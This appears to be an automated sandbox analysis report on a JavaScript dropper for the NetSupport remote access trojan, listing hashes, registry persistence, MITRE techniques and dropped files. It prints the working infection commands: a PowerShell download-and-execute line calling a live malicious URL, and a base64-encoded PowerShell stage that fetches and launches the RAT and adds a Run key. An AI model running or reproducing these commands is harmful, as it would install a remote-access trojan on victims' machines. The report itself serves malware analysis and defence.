netsupport | 05d7f4e148d4a7c92511ef6bb76bfe2d297d19aa04815f569510adc99b5ccfc4

Analysis

max time kernel
115s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
03-03-2024 04:19

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General

Target

c6a6520a8d9d4ada3c4c23ca97fe954be793f4eda9dc3b6e28d9588fa6051a98.js
Size

53KB
MD5

e03e92ac8fb4660b37306d2e3054ff7b
SHA1

2e1d74fcceb08bac9f1498e99c5a2a3c30a93701
SHA256

c6a6520a8d9d4ada3c4c23ca97fe954be793f4eda9dc3b6e28d9588fa6051a98
SHA512

07d89001bff59317bd0121f37f77fde7a1ad0bb914e050f3212e7840cd75f6a2c1013b521322e3a5d1b73ae3218fc19fc455ea30140c1ee21c303df675b294b0
SSDEEP

1536:Dy9WbpDiixx/hEn/+4wSlbl4scxwBJvO4TIWBC:DDBR/unwS5l4scqtPTLM

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://hotelashrafee.com/rem.txt

Extracted

Language

ps1

Source

URLs

exe.dropper

http://leadingbyte.com/e6a85777-d353-412d-acaf-b017744de8b8c.txt

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
28	2828	powershell.exe
31	5084	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4204	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
4204	client32.exe
4204	client32.exe
4204	client32.exe
4204	client32.exe
4204	client32.exe
4204	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HostingInfo_0103 = "C:\\ProgramData\\HostingInfo_0103\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2828	powershell.exe
2828	powershell.exe
2828	powershell.exe
5084	powershell.exe
5084	powershell.exe
5084	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeSecurityPrivilege	4204	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4204	client32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3528 wrote to memory of 2828	3528	wscript.exe	98
PID 3528 wrote to memory of 2828	3528	wscript.exe	98
PID 2828 wrote to memory of 5084	2828	powershell.exe	100
PID 2828 wrote to memory of 5084	2828	powershell.exe	100
PID 5084 wrote to memory of 4204	5084	powershell.exe	101
PID 5084 wrote to memory of 4204	5084	powershell.exe	101
PID 5084 wrote to memory of 4204	5084	powershell.exe	101

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\c6a6520a8d9d4ada3c4c23ca97fe954be793f4eda9dc3b6e28d9588fa6051a98.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://hotelashrafee.com/rem.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EXeCuTiONPoL bypAss -W h -E UwBFAHQALQBsAG8AYwBhAFQAaQBvAG4AIAAkAGUATgBWADoAcABSAG8AZwBSAGEATQBEAEEAVABhADsAIAAkAHQANABzAHAAegBrAG8APQBbAGIAeQB0AGUAWwBdAF0AQAAoADgAMAAsACAANwA1ACwAIAAzACwAIAA0ACkAOwAgACQAZQAzAEYAVgBWAFAAPQAnAGgAdAB0AHAAOgAvAC8AbABlAGEAZABpAG4AZwBiAHkAdABlAC4AYwBvAG0ALwBlADYAYQA4ADUANwA3ADcALQBkADMANQAzAC0ANAAxADIAZAAtAGEAYwBhAGYALQBiADAAMQA3ADcANAA0AGQAZQA4AGIAOABjAC4AdAB4AHQAJwA7ACAAJABNAG8AQgB1AFAASgB1AD0AJwA3AHkAWQB2ADEALgB6AGkAcAAnADsAIAAkAHgARgAxAFUARAA9ACcASABvAHMAdABpAG4AZwBJAG4AZgBvAF8AMAAxADAAMwAnADsAIAAkAEEAMQBkAHkAYwBoAEcAYwA9AEkAbgB2AG8ASwBlAC0AVwBlAEIAcgBlAHEAdQBlAHMAVAAgAC0AVQBSAGkAIAAkAGUAMwBGAFYAVgBQACAALQBVAHMARQBCAGEAUwBJAEMAUABBAHIAcwBpAG4ARwA7ACAAJABZADMANwA5AFMAPQAkAEEAMQBkAHkAYwBoAEcAYwAuAEMATwBuAHQAZQBuAHQAOwAgACQAcQBtADQAWgBYAHYAZgA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABlAE4AVgA6AHAAUgBvAGcAUgBhAE0ARABBAFQAYQAsACAAJAB4AEYAMQBVAEQAOwAgACQAOABpADcANABDAFAAVgBoAD0AagBPAEkAbgAtAHAAQQBUAGgAIAAtAHAAQQB0AEgAIAAkAGUATgBWADoAcABSAG8AZwBSAGEATQBEAEEAVABhACAALQBjAGgAaQBMAEQAcABhAFQAaAAgACQATQBvAEIAdQBQAEoAdQA7ACAAJABPAE8AYQBzADIAPQBbAEMATwBOAHYAZQByAHQAXQA6ADoAZgBSAG8ATQBCAEEAcwBFADYANABTAHQAUgBJAE4AZwAoACQAWQAzADcAOQBTACkAOwAgACQAOQBQAGYARQBsAHkAPQAkAE8ATwBhAHMAMgAgAC0AUwBwAEwAaQB0ACAAJwAgACcAIAAtAEEAUwAgAFsAQgB5AFQAZQBbAF0AXQA7ACAAJABXAE4ANABzAHoAQwA9ACQAdAA0AHMAcAB6AGsAbwArACQAOQBQAGYARQBsAHkAOwAgAFMARQBUAC0AQwBPAG4AVABFAE4AdAAgACQATQBvAEIAdQBQAEoAdQAgACQAVwBOADQAcwB6AEMAIAAtAGUAbgBDAG8ARABpAE4ARwAgAGIAWQBUAEUAOwAgAEUAWABwAEEAbgBEAC0AYQByAEMASABpAFYAZQAgAC0AUABBAFQAaAAgACQAOABpADcANABDAFAAVgBoACAALQBkAGUAcwB0AEkATgBBAFQAaQBPAG4AUABBAFQASAAgACQAcQBtADQAWgBYAHYAZgAgAC0ARgBvAFIAYwBFADsAIABSAG0AIAAkAE0AbwBCAHUAUABKAHUAOwAgAFMAZQBUAC0ATABPAGMAQQBUAGkAbwBuACAAJABxAG0ANABaAFgAdgBmADsAIAAkAEoAQgB1AEcAcABzAD0AIgB7ADAAfQBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACIAIAAtAGYAIAAkAHEAbQA0AFoAWAB2AGYAOwAgAHMAdABhAHIAdAAgAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlADsAIABuAEUAdwAtAGkAdABFAG0AcAByAG8AUABFAFIAdABZACAALQBQAEEAVABIACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAEEAbQBFACAAJAB4AEYAMQBVAEQAIAAtAHYAQQBsAHUARQAgACQASgBCAHUARwBwAHMAIAAtAFAAcgBvAHAAZQBSAHQAWQB0AHkAcABlACAAJwBTAHQAcgBpAG4AZwAnADsA
    3⤵
    - Blocklisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\ProgramData\HostingInfo_0103\client32.exe
      "C:\ProgramData\HostingInfo_0103\client32.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4936 --field-trial-handle=2276,i,1205556100727695622,5044463180471657307,262144 --variations-seed-version /prefetch:8
1⤵
PID:4224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\HostingInfo_0103\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\ProgramData\HostingInfo_0103\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\ProgramData\HostingInfo_0103\NSM.LIC

Filesize
259B

MD5
866c96ba2823ac5fe70130dfaaa08531

SHA1
892a656da1ea264c73082da8c6e5f5728abcb861

SHA256
6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921

SHA512
0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112

Download Submit
C:\ProgramData\HostingInfo_0103\PCICAPI.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\ProgramData\HostingInfo_0103\PCICL32.DLL

Filesize
704KB

MD5
f89a44111e7f3ff72ff7d07cb9b7757f

SHA1
bd5e9ed4222893af0e0d44088a2fbf0dca81a76a

SHA256
7cd60b69c0789352b1bd7a364e52da785656aaa3da756488dd078f65a349dd35

SHA512
c46b08c0a703845e9a3b4a2ba6a52acd7592036b4a4672aa01b535c6e0c6ae68dc0b5b637bdc9025b23bfa2f2607b1a75c196e72b70c0b2207bef3383620a9e4

Download Submit
C:\ProgramData\HostingInfo_0103\PCICL32.dll

Filesize
2.1MB

MD5
49f6e3eee1adc8fe27dcbfe22204b2d8

SHA1
265cce79ba0814f42c45e1722c374565727831be

SHA256
61a6004d90751db7168df515e15113b7b13beca4b55adf3dbeff27da055fff4c

SHA512
ec2a6a0187fe0edf44af60f984620500d32433ba7743f504fb7a89bfe8e990663b973cc66af1cc74733f9d8deea1823065c13a4a7b6d6e07555c38e531b3f69b

Download Submit
C:\ProgramData\HostingInfo_0103\client32.exe

Filesize
117KB

MD5
a2b46c59f6e7e395d479b09464ecdba0

SHA1
92c132307dd21189b6d7912ddd934b50e50d1ec1

SHA256
89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1

SHA512
4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916

Download Submit
C:\ProgramData\HostingInfo_0103\client32.ini

Filesize
638B

MD5
5a017da03df76f4e2077fd2c4a115b1b

SHA1
2a79863853d4caa243571c0055c228e079d82339

SHA256
1a4a43c52c289f6f56cbfa56256cff5e9adfd3e78097a94ed4b69490b8c5469d

SHA512
580483c8a6c05dba738a4939e6740ed7698ab7efe54da6db8af273fe7507944b63e562377837ad110d0d645293ea7178fca64fecb197688d614d83854f172f02

Download Submit
C:\ProgramData\HostingInfo_0103\msvcr100.dll

Filesize
512KB

MD5
0e94e9ade7ddc3662e0d8aa6a677fe26

SHA1
6948c73a9183ecff87c887500a3bb2b1b67b5d0c

SHA256
70f353e4274685d5e0953508dd5ac446c8c6ecced4e99f28b3b3bebe39ddc5d5

SHA512
9937e81261485e6c056cb1714d7ad80e6a2e2d194c34ce648c1b9815c34cfd66bb2564d6493249b9bbca3abbb064f218a35c58771e920bc2830b8489c01dd39d

Download Submit
C:\ProgramData\HostingInfo_0103\msvcr100.dll

Filesize
192KB

MD5
f63f6394cc81862ec1b4b857f3e2ac43

SHA1
38f7dd213db5d4ba86f90276bde5e3f0fd932a87

SHA256
9b418dbc0d156165d7f6880cf8add6f9a5fda59939ba48a77d09c81d6db8e6be

SHA512
557c30c8b0e905929ac843449c588d34285d092b33b5c8fe05e0ea101b9c6b15df7cbc5a773067866eeff99d12121d72f20e108ab6c6fea1996e51257a9f6cb4

Download Submit
C:\ProgramData\HostingInfo_0103\pcichek.dll

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
055cd1930e45c3d77aa744d53bcc29d9

SHA1
af1464daf329f36930b71fb33119c61a13472b6d

SHA256
fcd4a469c653f6bd319b201326633c2183a70184bc159c071915a9c4abd92d3c

SHA512
00ee038f281f34c7d727b7d6d7734bdfc61ee742b33edc5f905adae6afa949b9a9da8c575d949e98b24b59005e469628e99f113e0fc612dc24bbba7f098fa65d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4u5mzorb.ydh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2828-81-0x00007FF9F40C0000-0x00007FF9F4B81000-memory.dmp

Filesize
10.8MB

Download
memory/2828-11-0x000001227F8D0000-0x000001227F8E0000-memory.dmp

Filesize
64KB

Download
memory/2828-12-0x000001227F8D0000-0x000001227F8E0000-memory.dmp

Filesize
64KB

Download
memory/2828-10-0x00007FF9F40C0000-0x00007FF9F4B81000-memory.dmp

Filesize
10.8MB

Download
memory/2828-5-0x000001227F7E0000-0x000001227F802000-memory.dmp

Filesize
136KB

Download
memory/5084-22-0x00007FF9F40C0000-0x00007FF9F4B81000-memory.dmp

Filesize
10.8MB

Download
memory/5084-77-0x00007FF9F40C0000-0x00007FF9F4B81000-memory.dmp

Filesize
10.8MB

Download
memory/5084-24-0x000002103FC80000-0x000002103FC90000-memory.dmp

Filesize
64KB

Download
memory/5084-23-0x000002103FC80000-0x000002103FC90000-memory.dmp

Filesize
64KB

Download
memory/5084-26-0x0000021025D90000-0x0000021025DA2000-memory.dmp

Filesize
72KB

Download
memory/5084-27-0x0000021025D80000-0x0000021025D8A000-memory.dmp

Filesize
40KB

Download